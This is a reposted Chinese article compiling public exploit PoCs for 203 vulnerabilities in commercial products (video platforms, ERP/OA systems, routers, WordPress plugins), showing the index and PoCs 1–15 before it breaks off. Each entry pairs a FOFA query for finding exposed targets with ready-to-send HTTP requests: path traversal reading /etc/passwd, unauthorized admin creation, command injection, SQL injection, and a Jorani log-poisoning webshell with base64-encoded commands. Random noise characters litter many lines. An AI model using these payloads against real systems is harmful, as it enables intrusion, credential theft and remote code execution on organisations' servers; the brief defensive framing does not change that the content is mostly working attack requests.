互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

& i, J0 c0 S1 j# n漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
) J# e/ b! @: k5 N. {  r1 v0 o# A
* o6 r! l% V& M% g5 {8 c+ d/ y# d文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
0 n3 D, S# \8 d& m2 G3 @
; W" X% j! _9 m8 A$ |. I$ W) z合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
' v* J6 s: k/ e2 x* M+ I5 n
+ a  ~$ P2 p  o6 K  ?7 |/ }
声明

" g9 y  g, C+ e* {为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。


0 P5 M" _+ k; i% }, s
3 z, J  w0 k$ \; c( Y' o  H目录
0 s5 t# _* o% \6 D) K
+ M, r7 P# B5 A: k' w- X01
7 v$ R/ O; c! p5 X9 ?" r6 N0 g
0 d& G0 r/ \: F2 x1 q6 l$ G+ \1. StarRocks MPP数据库未授权访问
$ o4 p' @3 T" l3 u$ ~( Z) a+ M. q2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
. l. y9 D1 p* T6 o0 I2 W# X1 B; j4. EasyCVR视频管理平台存在任意用户添加
( |1 h% @: s1 h5. NUUO NVR 视频存储管理设备远程命令执行
8 O% ?3 m/ N9 V: I* z6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
/ C3 F7 |* ^' ?# V/ a1 l9. 稻壳CMS keyword 未授权SQL注入
! [6 B/ v9 e+ i/ p! ^+ Z7 ]% z10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
9 `( g( @# ?* A6 k7 W% E8 G" ]4 H# C8 x12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
$ K  M9 Z+ V) {14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
; \! E' v  M( c8 x, n0 P1 I! ]( b16. 红帆HFOffice医微云SQL注入
- y$ F9 z6 G, u% ?' I+ \17. 大华 DSS itcBulletin SQL 注入
' q. V0 a) k  j: j5 y# N) O18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
/ d1 ^; I0 }' Y" e# o- y21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
. i3 {, o4 D- i  F- R24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
+ }9 H. f* e: U7 [  p1 K" H# n7 c4 b26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
& V; [; C& e0 u3 i28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
& ^" T9 Y: Q$ l, Q30. 用友NC importPml SQL注入
1 R3 M# T9 x3 U7 V31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
7 f0 ^2 F& X+ J/ w5 g6 F3 V33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
" |! f- i# \: k36. 用友NC-Cloud soapFormat XXE
4 _6 L8 i* N+ b. u& u% @. F37. 用友NC-Cloud IUpdateService XXE
: i2 s# q3 Q" E) G' u% `38. 用友U8 Cloud smartweb2.RPC.d XXE
# j; f5 `. q* B. ?9 |39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
* t3 z! c% p, ?* L/ Y$ t42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
6 ]0 J1 `. x# F/ X5 {/ v44. 用友GRP-U8 bx_dj_check.jsp SQL注入
+ N6 \2 k2 a% }45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
% `; W6 _) G' f; u$ z0 ^; U! ~49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
3 N! I$ |6 t- h: Z2 ]51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
6 q" c" ^% a% ]53. 迪普 DPTech VPN Service 任意文件上传
1 B# i: U9 l" x) x3 s% Z" E54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
' _1 Y  u; P& I56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
# O! Q+ k% a& P: r6 n2 u58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
' b/ @' [0 u: I60. 百卓Smart管理平台 importexport.php SQL注入
6 U1 i; g8 D6 B1 h7 n7 k$ s! {( P$ X61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
+ f- O' a2 }5 l+ d$ c  y64. 捷诚管理信息系统CWSFinanceCommon SQL注入
3 \/ n3 s- ~8 K0 Z0 g65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
3 O1 H3 Y- c! Q66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
2 n5 j. X6 g5 O, c1 s67. 万户ezOFFICE wpsservlet任意文件上传
" W2 v/ S4 g- B68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
- l7 l/ L- Q" Q6 Z5 U( D0 D5 X70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
) M7 B! v* Q4 K75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
2 K# V; N5 ~4 }4 g; x, g77. F22服装管理软件系统UploadHandler.ashx任意文件上传
; F4 s9 w" N5 \. q: R/ t3 N78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
/ e# Z6 m9 \  w$ [5 h0 S, K80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
! {5 R# U# Y: c7 l* R82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
- C+ f* v3 c6 x$ e. B/ A, n83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
& \. R. U2 j. d" A9 d/ @' C87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
( V1 z) z1 v5 s5 Z# j9 h  Q89. 致远互联FE协作办公平台editflow_manager存在sql注入
8 U. _7 \4 ^& S3 N- n5 K7 k/ s$ k% d90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
6 p) y3 M% P4 x92. 海康威视运行管理中心session命令执行
$ G2 g) N' U; ]93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
( r; f; y1 G9 x' p: |; E& G7 ^97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
, m# E9 t, a8 s% F99. Ncast盈可视高清智能录播系统busiFacade RCE
$ a1 W5 d. V1 c/ r( a100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
  z- R& p, Z, Z: |101. ivanti policy secure-22.6命令注入
/ P$ C' f3 M! ^' F9 t# C& d102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
( K2 k" s3 e. G103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
7 I2 g8 R8 B& O9 Y' @$ M105. SpringBlade v3.2.0 export-user SQL 注入
6 e1 C/ `" i0 d- }% q) j106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
8 ^( u/ k+ t, D1 [! J+ ], y109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
& c$ n; r3 g) y7 i2 I( v113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
$ c( |7 x3 h5 p7 O# z3 i# p  d7 h118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
$ K6 b7 j+ f. u119. 北京百绰智能S20后台sysmanageajax.php sql注入
9 h' R4 V  ~' R6 X( s0 c* i120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
2 V0 j) u1 j- l5 J( p/ T: _125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
1 O: H) a3 ?- l) @# K127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
, q) ?0 Q, r2 Y% R) I/ S7 Q5 T130. Laykefu客服系统任意文件上传
! t& L# e, s* p! k6 B131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
: }6 C, P" u1 r' O, K" D) l133. H5 云商城 file.php 文件上传
  P  A& E6 E) N1 b3 F0 J3 ^+ f+ r, ]134. 网康NS-ASG应用安全网关index.php sql注入
% n  f% L" g8 [" E6 Q; U  x7 A135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
6 V: w0 l7 G4 y- R, U6 [136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
: U: a, f9 T# j1 X' I; u138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
3 b3 w" L9 K" n) U139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
! g/ S& e3 i7 G5 q3 A6 h142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
6 [4 j1 W  G4 C8 q6 n1 i9 Q* y6 Y144. D-Link nas_sharing.cgi 命令注入
! `( j/ O" G$ |2 P% N. J145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
  ~- d+ }5 z9 j3 A147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
' }) S/ t1 y. [148. CrushFTP 认证绕过模板注入
$ B8 C2 A3 [0 x149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
1 V8 ]3 u" Z) a  M; w  M6 d151. AJ-Report 1.4.1 pageList sql注入
* k4 E4 I. ]( e4 H* Y0 D/ j7 ?152. Progress Kemp LoadMaster 远程命令执行
) i$ i: G' E. R! Y$ x153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
+ ^0 P1 A7 r6 ]- T4 X' V1 W! d% D" I156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
( X8 C5 R5 L' S8 `/ M160. Sonatype Nexus Repository 3目录遍历与文件读取
! `9 R1 R. h/ g/ L2 f; Z+ l/ B% _161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
& ]$ S$ s$ W0 N. a8 \  a* b! B8 A164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
* o% e. U- u: y6 t( a2 r7 i; l  y165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
5 o3 S/ P/ ?: U168. 宏景EHR OutputCode 任意文件读取
* \2 a6 b1 V  ^# S( T169. 宏景EHR downlawbase SQL注入
3 p6 U; F% w3 t# k. W# ]6 `170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
: S# B1 e2 f6 V173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
+ V9 V& N) L# S: B8 g176. 电信网关配置管理系统 rewrite.php 文件上传
4 ^% r& c5 [. X1 S# Z0 n177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
# s4 G" h- j. E# e, s$ T1 M179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
# ~4 J) @' r1 |/ D182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
0 B6 L2 P" i9 Q' O185. 瑞友天翼应用虚拟化系统SQL注入
; v- A. Y- ?7 u7 r& j" U& H. m5 _186. F-logic DataCube3 SQL注入
; O0 G! F6 j& A! [187. Mura CMS processAsyncObject SQL注入
9 B$ q2 y  N( P: e. N188. 叁体-佳会视频会议 attachment 任意文件读取
' W. e& m% i' F# q0 a/ r: Z189. 蓝网科技临床浏览系统 deleteStudy SQL注入
6 {- Z# G6 z6 e' m* I190. 短视频矩阵营销系统 poihuoqu 任意文件读取
4 b. _8 C2 W/ O  N" [" ^9 S191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
8 r3 N: ]4 U" ]" ~193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
9 i' p: M+ b4 b5 a! v9 }194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
, v) C/ `0 N" W195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
! K9 z9 v* C' T! e, C% @7 g' c5 k' b$ z197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
' a" L: r. R2 i2 d199. cockpit系统assetsmanager_upload接口 文件上传
1 u( p5 ]- W( W/ c' \7 ]6 [7 b200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
2 Q" f- t. X$ O4 L9 q( o$ j3 Z# e202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

/ r* o. v* ^# V5 f4 `POC列表
$ n4 a, R3 Q1 B: A& v  L
02
$ s  K  H/ A+ E$ A( e" ~" W
6 A! ~' [* p! J  s9 K. c1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
- M2 x0 N, L7 D1 H- U+ Z0 fHost: URL
7 L* ]9 q( C4 @+ F- c" ^
6 x. F1 \9 |2 s' D# |. c* i
" p6 a# C9 Z3 g) S- r5 P2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
) d+ }  e  |8 R: F) k! {. P6 aGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
& R, ]3 u% R6 E/ z: @) oConnection: close
Accept: */*
) W/ I% r* [+ h. ~Accept-Language: en
) s3 X% x* L4 z; zAccept-Encoding: gzip
- C0 ^7 }  v- w9 T

) J/ B+ _, a8 {. z& U3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx


3 g- I/ H' v) l0 v1 U3 V/ |4 H4. EasyCVR视频管理平台存在任意用户添加
# _: c( H2 ?  _  M- o1 m3 OFOFA ：title="EasyCVR"
8 [0 R* |1 T8 E# ^  F% U
& a+ g  d) _) Lpassword更改为自己的密码md5
. G& v1 u2 i  {- N  s5 S% {' MPOST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1


: A) O3 c: ^& O5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
) C. J( M4 J  ^1 s. Y" {) N7 F# @GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx

: p' m8 b) Q6 A! G0 [( s
8 R% t. a9 z) u6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
. U; N# i* h: Y/ b2 S: ?Host:
9 J2 \0 o. n! H0 i5 v3 E) K' T

7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
" B- e; v# I% bGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
+ c! ?* ^0 n' h/ ~+ @8 h6 VHost:

5 B1 M  s2 p' A& s8 s( x$ E8 s
% j. O) G! R5 o* D7 `( r3 _  O5 P2 r: A8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
  D! S: \- x& ~# q/ i7 v0 `默认账号admin登录后台后，执行操作
5 ?0 o7 U' O' `) MPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
9 C4 G) e, }  \, cCookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
5 J2 R3 Z& e  Y. a1 [  L' K- BUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
, d2 D) c9 U9 y4 a+ Q
%s
) ~8 \+ `: H5 x" s------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

12:00; id;
' _/ r; Y: z0 g' t8 K% p% e+ ]------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"

. M5 H, b; ^, R1 ]' ?; G%s:
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"
8 C9 X; O& Q- }; z2 W

------WebKitFormBoundaryxbgjoytz--
. Y3 \* O: P+ h0 c) ~3 Q, O

9. 稻壳CMS keyword 未授权SQL注入
9 |# t5 e% j8 G8 w% Y& Z$ s0 B5 RFOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
( u& i3 l+ |6 T! l# fHost: x.x.x.x
. K2 L! b/ ^' k2 B- @! N

payload为下列语句的二次Url编码
' c; R/ l- h; y+ y4 O! i
, S2 S( x2 H8 i$ x. S' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
+ t- {" z  ?4 j& M2 C( |& Q0 m
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
( t9 u0 [! t; \: Z" t6 B; OFOFA：icon_hash="953405444"

+ g) W3 N6 }5 ]% \文件上传后响应中包含上传文件的路径
! h6 z# M2 N: E7 @: {POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
& }1 s) y- t0 Y* U+ h' E$ rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
# Q9 C1 v) W. e' |- ~$ g& MContent-Length: 197
2 h2 q8 U9 I6 x% OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
/ ~1 W' E3 w/ U  E# K0 _7 XAccept-Encoding: gzip, deflate
3 G4 a4 U1 K- z/ ^' qAccept-Language: zh-CN,zh;q=0.9
Connection: close
  S6 T+ j- i3 @  i" W2 cContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
5 b* m$ f& q7 `5 j3 v
------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
; N& L$ \. i: a" _$ I7 \- IContent-Type: text/html

jmnqjfdsupxgfidopeixbgsxbf
) C0 E: @) N/ }3 w7 d1 c) Q& q------WebKitFormBoundaryxdgaqmqu--
& h1 F3 [" i! c: L* `
. x7 M5 G7 W0 K0 }
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
# X4 s, h/ W9 H, \! x. ~# BFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
+ t1 D: b9 ?! s2 d5 M% QHost: 127.0.0.1
Pragma: no-cache
$ a0 ~$ X% X- U  v" e0 Q2 ~9 rCache-Control: no-cache
7 ?- r  Q1 |3 z+ ~Upgrade-Insecure-Requests: 1
  J$ D4 i9 O9 k3 @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
: [* `! r5 T# l4 I/ M1 ~" WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* _; n5 p0 ^/ ]' @/ o- OAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


12. Jorani < 1.0.2 远程命令执行
0 i4 ^' b" K: ]5 T. F# f, WFOFA：title="Jorani"
5 D5 |( D. Z4 Z第一步先拿到cookie
GET /session/login HTTP/1.1
9 f3 W0 \# R. {1 ]9 m* tHost: 192.168.190.30
- s4 S4 B, X! s1 v% {0 u' eUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip
  Y6 n. G3 j% h6 Y# n% [6 m

响应中csrf_cookie_jorani用于后续请求
8 O0 w$ o- `$ n% {HTTP/1.1 200 OK
Connection: close
; W5 Q9 Z0 b7 E' e* \Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
+ O- Z: G# y' U* v. i/ QExpires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
* }8 I( v$ s5 j2 ?. P  z/ \Pragma: no-cache
Server: Apache/2.4.54 (Debian)
( t3 z% }; B# q) ISet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
* s# \/ Y1 `9 l) G- _# QVary: Accept-Encoding
  P5 j) u* f  I. q4 d" S
8 [* H+ J7 N7 j# r9 U3 M9 I
3 ^% `* k; U* rPOST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
- x, E/ ]+ h1 i/ r  C! ~. BHost: 192.168.190.30
' o# r% Q3 z1 w* |& w* b: GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
( L9 k9 |6 m( [: _2 k0 NConnection: close
Content-Length: 252
/ d$ s1 {$ X# s  Y2 y. N# Y6 M8 TContent-Type: application/x-www-form-urlencoded
: ~# x# Y1 M4 V, b8 @7 OCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
! V! w9 c" V+ s: c- kAccept-Encoding: gzip
: V$ L# {/ l3 w
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
) Y$ m$ y5 m2 N9 N1 g% {3 F/ n& R
. u1 o3 @9 |9 m( y
- ?1 ]  _. j  L: |: x
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
: B7 |/ B* {, d8 BGET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
. l* G3 f. h; \/ lConnection: close
0 u2 u  @+ [0 ^( E: P, B; iCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
# J* S/ j% l  b+ {6 i4 _K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
: q5 B4 x- T2 f7 kAccept-Encoding: gzip

5 |! V* g) q7 \, n8 r& z$ z
13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
" J; S- p, J1 x* s3 J! tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
* q/ T. C0 A2 P, P0 n9 W$ JConnection: close
& @3 P3 {* s3 [6 S: DAccept: */*
6 q, b8 S* S% g2 MAccept-Encoding: gzip


* |; A: I, v5 [8 Z4 u7 b14. 华夏ERP（jshERP）敏感信息泄露
: q* M4 V5 x# HFOFA：body="jshERP-boot"
# }& ~+ t2 s7 B2 n* {泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
4 U) V, Z8 d& {5 O5 WHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
. Y* Z/ T5 a( i) Z- AConnection: close
0 C5 y  }% g+ L. ]Accept: */*
Accept-Language: en
Accept-Encoding: gzip

* W6 G1 @2 |, a( l8 i7 S
15. 华夏ERP getAllList信息泄露
' k( b# t) k3 d) PCVE-2024-0490
FOFA：body="jshERP-boot"
: W! M' J3 k( s* q$ D) S3 G泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
